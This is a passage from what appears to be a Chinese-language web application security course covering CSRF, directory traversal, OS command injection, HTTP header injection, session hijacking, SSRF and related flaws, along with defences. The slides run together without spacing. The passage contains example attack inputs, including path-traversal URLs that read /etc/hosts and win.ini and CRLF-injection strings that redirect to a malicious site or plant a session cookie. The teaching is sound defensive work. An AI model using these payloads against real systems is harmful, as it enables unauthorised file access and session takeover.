sbrowsertosendapre-authenticatedrequesttoavulnerablewebapplication,whichthenforcesthevictim’sbrowsertoperformahostileactiontothebenefitoftheattacker.OWASPDefinition

CSRF用戶C網站A：存在CSRF漏洞的網站網站B：惡意攻擊者用戶C：受害者網站A（受信任）網站B（惡意）6.由于瀏覽器會帶上用戶C的cookie，網站A不知道步驟5的請求是B發出的，因此網站A會根據用戶C的權限處理步驟5的的請求，這樣就達到了偽造用戶C請求的目的1.用戶C瀏覽并登錄正常網站A2.驗證通過，瀏覽器生成網站A的cookie3.用戶C在沒有登錄退出網站A的情況下，訪問惡意網站B4.網站B要求訪問第三方網站A5.根據B在步驟4的要求，瀏覽器帶著步驟2處產生的cookie訪問網站A現在絕大多數網站都不會使用GET請求來進行數據更新，而是采用POST來提交，即使這樣，攻擊者仍然能夠實施CSRF攻擊CSRF防御CSRF攻擊現有銀行的網銀交易流程要比例子復雜得多，同時還需要USBkey、驗證碼、登錄密碼和支付密碼等一系列安全信息，一般并不存在CSRF安全漏洞，安全是有保障的。CSRF與XSS重大的差別：CSRF利用的是Web服務器端的漏洞XSS利用的是Web客戶端的漏洞XSS攻擊是實施CSRF攻擊前的一個重要步驟：攻擊者通過XSS攻擊獲取有用的攻擊信息，比如通過XSS偽造一個提示用戶輸入身份信息的表單。防御CSRF攻擊設定短暫的可信用戶會話時間，完成任務后記得退出可信會話，刪除所有cookie；每次提出一個可信行為時，對發出請求的用戶進行驗證；讓網站記住登錄用戶名和密碼時要小心。留在客戶端的登錄信息可能會攻擊者加以利用；在URL和表單中增加的每個請求，必須提供基本會話令牌以外的每個請求用戶驗證；從Web應用程序中刪除所有XSS漏洞。防御CSRF攻擊五、目錄遍歷及其防范許多Web應用支持外界以參數的形式來指定服務器上的文件名，如果服務器在處理用戶請求時不對文件名進行充分校驗，就可能出問題，如：文件被非法獲取，導致重要信息被泄露；文件被篡改，如篡改網頁內容以發布不實消息，設置圈套將用戶誘導至惡意網站，篡改腳本文件從而在服務器上執行任意腳本等；文件被刪除，如刪除腳本文件或配置文件導致服務器宕機等目錄遍歷一般來說，如果Web應用滿足以下3個條件時，就有可能產生目錄遍歷漏洞外界能夠指定文件名能夠使用絕對路徑或相對路徑等形式來指定其它目錄的文件名沒有對拼接后的文件名進行校驗就允許訪問該文件目錄遍歷目錄遍歷/example/ex.php?template=../../../../etc/hosts%00將顯示/etc/hosts文件內容目錄遍歷/online/getnews.asp?item=20March2007.html/online/getnews.asp?item=../../../../windows/win.ini提交申請獲取某個新聞網頁文件

使用../從當前目錄跳到上一級目錄

目錄遍歷成功將讀取到windows目錄下的win.ini文件

避免由外界指定文件名將文件名固定，保存在會話變量中，不直接指定文件名，而是使用編號等方法間接指定文件名中不允許包含目錄名不同系統中表示目錄的字符有所不同，常見的有：/、\、:等限定文件中僅包含字母或數字有些攻擊使用不同的編碼轉換進行過濾性的繞過，如通過對參數進行URL編碼來繞過檢查目錄遍歷防御downfile.jsp?filename=%66%61%6E%2E%70%64%66六、操作系統命令注入及防范很多Web應用編程語言支持應用通過Shell執行操作系統（OS）命令。通過Shell執行OS命令，或開發中用到的某個方法在其內部使用了Shell，就有可能出現惡意利用Shell提供的功能來任意執行OS命令的情況，這就是OS命令注入OS命令注入OS命令注入上述攻擊成功的主要原因是Shell支持連續執行多條命令，如Unix操作系統Shell中使用分號（;）或管道（|）等字符支持連續執行多條命令，Windows操作系統cmd.exe使用&符號來連接多條命令。這些符號一般稱為Shell的元字符，如果OS命令參數中混入了元字符，就會使攻擊者添加的操作系統命令被執行，這就是OS注入漏洞產生的原因OS命令注入OS命令注入攻擊的一般流程為：從外部下載攻擊用軟件；對下載來的軟件授予執行權限；從內部攻擊操作系統漏洞以取得管理員權限；攻擊者在Web服務器上執行攻擊操作，如：瀏覽、篡改或刪除Web服務器內的文件，對外發送郵件，以此服務器作跳板攻擊其他服務器等。OS命令注入OS命令注入攻擊防御策略：選擇不調用操作系統命令的實現方法，即不調用Shell功能，而用其它方法實現；避免使用內部可能會調用Shell的函數；不將外部輸入的字符串作為命令行參數；使用安全的函數對傳遞給操作系統的參數進行轉義，消除Shell元字符帶來的威脅。由于Shell轉義規則的復雜性以及其它一些環境相關的原因，這一方法有時很難完全湊效。OS命令注入防御七、HTTP消息頭注入攻擊及防范指在重定向或生成Cookie時，基于外部傳入的參數生成HTTP響應頭：HTTP響應頭信息一般以文本格式逐行定義消息頭，即消息頭之間互相以換行符隔開。攻擊者可以利用這一特點，在指定重定向目標URL或Cookie值的參數中插入換行符且該換行符又被直接作為響應輸出，從而在受害者的瀏覽器上任意添加響應消息頭或偽造響應消息體：生成任意Cookie，重定向到任意URL，更改頁面顯示內容，執行任意JavaScript而造成與XSS同樣效果HTTP消息頭注入看下面的例子HTTP消息頭注入/web/in.cfg?url=/%0D%0ALocation:+http://trap.com/web/attack.php執行之后，瀏覽器會跳轉到惡意網站/web/attack.php，而不是期望的正常網站。造成這一結果的主要原因是，CGI腳本里使用的查詢字符串url中包含了換行符（%0D%0A）。出兩個消息頭：

Location:Location:/web/attack.php采用類似方法可以生成任意Cookie，看下面例子HTTP消息頭注入/web/in.cfg?url=/web/exampple.php%0D%0ASet-Cookie:+SESSID=ac13rkd90執行之后，兩個消息頭：

Set-Cookie:SESSID=ac13rkd90Location:/web/exampple.php不將外部傳入參數作為HTTP響應消息頭輸出，如不直接使用URL指定重定向目標，而是將其固定或通過編號等方式來指定，或使用Web應用開發工具中提供的會話變量來轉交URL；由專門的API來進行重定向或生成Cookie，并嚴格檢驗生成消息頭的參數中的換行符HTTP消息頭注入防御八、其它攻擊1、惡意文件執行Codevulnerabletoremotefileinclusion(RFI)allowsattackerstoincludehostilecodeanddata,resultingindevastatingattacks,suchastotalservercompromise.MaliciousfileexecutionattacksaffectPHP,XMLandanyframeworkwhichacceptsfilenamesorfilesfromusers.OWASPDefinition

1、惡意文件執行惡意文件執行漏洞也稱為不安全的遠程文件包含漏洞；需要用戶提供輸入文件名的Web程序容易受到攻擊：如果對用戶輸入不驗證，攻擊者可借此操控Web程序執行系統程序或外部URL；允許上傳文件給Web程序帶來的危害更大可以將可執行代碼放置到Web應用中去；可以替換Session文件、日志文件或認證令牌1、防御惡意文件執行漏洞禁止用戶輸入被用作輸入文件片斷；對于必須要用戶輸入文件名、URL的地方，執行嚴格的檢查驗證輸入合法性；文件上傳的處理要非常小心：文件只允許上傳到webroot目錄以外的目錄中，這樣能防止文件被執行；限制或隔離Web程序對文件的訪問權限。2、不安全的直接對象引用Adirectobjectreferenceoccurswhenadeveloperexposesareferencetoaninternalimplementationobject,suchasafile,directory,databaserecord,orkey,asaURLorformparameter.Attackerscanmanipulatethosereferencestoaccessotherobjectswithoutauthorization.OWASPDefinition

2、不安全的直接對象引用不安全的直接對象引用漏洞也常稱為目錄遍歷漏洞；Web程序常常會暴露內部對象，包括：文件或目錄URL數據庫口令數據庫的一些對象名稱，比如表名如果訪問控制配置不合理，攻擊者就可以不經授權地操作這些暴露的內部對象。2、防御不安全的直接對象引用鎖定Web目錄。使得通過網絡訪問Web服務器的用戶都不能訪問除專門用于存放Web內容的目錄以外的目錄；對于每一次對象引用都要重新驗證授權；禁止通過參數暴露內部對象；建議使用間接映射的方法取代簡單的直接對象引用，比如：/application?file=1

3、信息泄露和不當的錯誤處理

Applicationscanunintentionallyleakinformationabouttheirconfiguration,internalworkings,orviolateprivacythroughavarietyofapplicationproblems.Attackersusethisweaknesstostealsensitivedataorconductmoreseriousattacks.OWASPDefinition

3、信息泄露和不當的錯誤處理敏感信息泄露常常細微難以察覺！常見的脆弱點：堆棧跟蹤信息SQL狀態信息登錄失敗信息授權信息4、不當的錯誤處理示例MicrosoftOLEDBProviderforODBCDriverserror'80004005'[Microsoft][ODBCMicrosoftAccess97Driver]Can'topendatabase‘VDPROD'.java.sql.SQLException:ORA-00600:internalerrorcode,arguments:[ttcgnd-1],[0],[],[],[],atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:169)atoracle.jdbc.ttc7.TTIcessError(TTIoer.java:208)示例1：示例2：錯誤處理信息對于Debug非常有用，但是為攻擊者提供了太多潛在可用的攻擊信息！4、防御信息泄露每個應用程序都應包含一個標準的錯誤處理框架來處理異常：禁止顯示堆棧跟蹤、數據庫訪問、協議等相關的信息；Web程序應只提供盡量簡短、“剛好夠用”的錯誤處理信息給用戶；5、認證和會話管理不完善

Accountcredentialsandsessiontokensareoftennotproperlyprotected.Attackerscompromisepasswords,keys,orauthenticationtokenstoassumeotherusers’identities.OWASPDefinition

會話(Session)管理HTTP/HTTPS是“無狀態”協議意味著每一次用戶請求都需要認證會話管理解決了這樣的問題：當一個用戶得到服務器認證后，服務器如何識別和處理這個認證用戶接下來的請求Web程序一般會提供內置的會話跟蹤方法，方便用戶的使用；Web開發者常采用自己的策略來實現會話狀態管理，可能會犯錯誤而導致安全問題。會話管理：SessionID唯一地標識用戶一個ID僅用于一次認證會話由服務器生成以如下的形式發送給客戶端：隱式變量HTTPcookieURL查詢串服務器期待用戶在下一次請求時發送同樣的ID（用來標識用戶已被認證）會話管理：SessionHijackingSessionID可能被泄露和猜解，黑客可以：獲取用戶的帳號做任何受害者能做的事情：一個使用同樣SessionID的攻擊者將擁有和真正用戶相同的特權。認證和會話管理攻擊流程CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶發送認證信息2站點進行URL重寫(i.e.,把session放到URL中)3用戶在一個論壇中點擊了

這個鏈接?JSESSIONID=9FA1DB9EA...4黑客在

的日志文件中得到用戶的JSESSIONID值5黑客使用JSESSIONID獲取到受害者的帳號5、防御會話管理攻擊使用長且復雜的隨機SessionID，難以猜解；對SessionID的傳輸、存儲進行保護，防止被泄露和劫持；使用SSL時，必須保護認證和SessionID兩部分的內容；URL查詢字符串中不要包含有User/Session任何信息。6、不安全的加密存儲

Webapplicationsrarelyusecryptographicfunctionsproperlytoprotectdataandcredentials.Attackersuseweaklyprotecteddatatoconductidentitytheftandothercrimes,suchascreditcardfraud.OWASPDefinition

6、不安全的加密存儲常見的問題：對敏感信息沒有加密；繼續使用已被證明加密強度不高的算法（MD5,SHA-1,RC3,RC4,etc.）；加密方法使用不安全，比如對加密口令的存儲不加保護；嘗試使用自己發明的加密方法（實踐證明這種方法比較糟糕！）。6、不安全的加密存儲示例CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶在Web表單中填寫信用卡號提交2由于商家的網關不可達，交易失敗，錯誤處理日志將問題詳細記錄下來4使用惡意代碼從日志文件中偷取數萬計的信用卡號Logfiles3日志文件可被相關IT職員訪問，用于程序調試6、防御不安全的加密存儲如非必要，不要保存敏感信息；確保所有的敏感信息都被加密，檢查敏感信息的歸檔過程和政策；只使用經過證明的標準加密算法；小心存儲口令、證書等信息。7、URL訪問缺少限制

Frequently,anapplicationonlyprotectssensitivefunctionalitybypreventingthedisplayoflinksorURLstounauthorizedusers.AttackerscanusethisweaknesstoaccessandperformunauthorizedoperationsbyaccessingthoseURLsdirectly.OWASPDefinition

7、URL訪問缺少限制當Web應用缺少對某些URL的訪問限制，攻擊者可以直接在瀏覽器中輸入URL來訪問。比如：Add_account_form.php在顯示這個表單頁時要先對用戶的管理員角色進行驗證；表單填好后發送給add_acct.php執行添加帳號的功能；

如果不限制add_acct.php的直接訪問，攻擊者直接在瀏覽器中訪問該頁面，就繞過了權限檢查。7、防御缺少限制的URL訪問從需求階段就要制定詳細的安全策略；從頁面到每一個功能，都只由相應的經過認證的角色來訪問；訪問控制策略越簡單越好。從早期做起！徹底地測試！進行詳盡地測試保證訪問控制沒有被旁路；嘗試所有的非法訪問；測試時不要跟隨Web應用的正常工作流；序列化（serialization）是指將內存中對象的狀態信息轉換為可以存儲或傳輸的形式，并將轉換后的數據寫入到臨時或持久性存儲區。反序列化（unserialization）則是執行相反的過程，從序列化的表示形式中提取數據，并直接設置對象狀態，重新創建該對象。8、反序列化安全漏洞當Web應用接收序列化數據，并將其反序列化后，未經任何過濾將數據傳輸到敏感操作函數，例如文件讀寫函數file_put_contents()以及修改cookie或者session函數等。如果序列化數據為對象時，則可能將對象成員變量設置為特殊值，當這些成員變量被使用時，就有可能觸發漏洞。8、反序列化安全漏洞Web服務器經常需要從別的服務器獲取數據，比如文件載入、圖片拉取、圖片識別等，如果獲取數據的服務器地址可控，攻擊者就可以通過Web服務器自定義向別的服務器（內網或外網）發出請求。9、服務器端請求偽造（SSRF）防御措施如果Web應用程序需要在請求中傳遞URL，則應盡量使用IP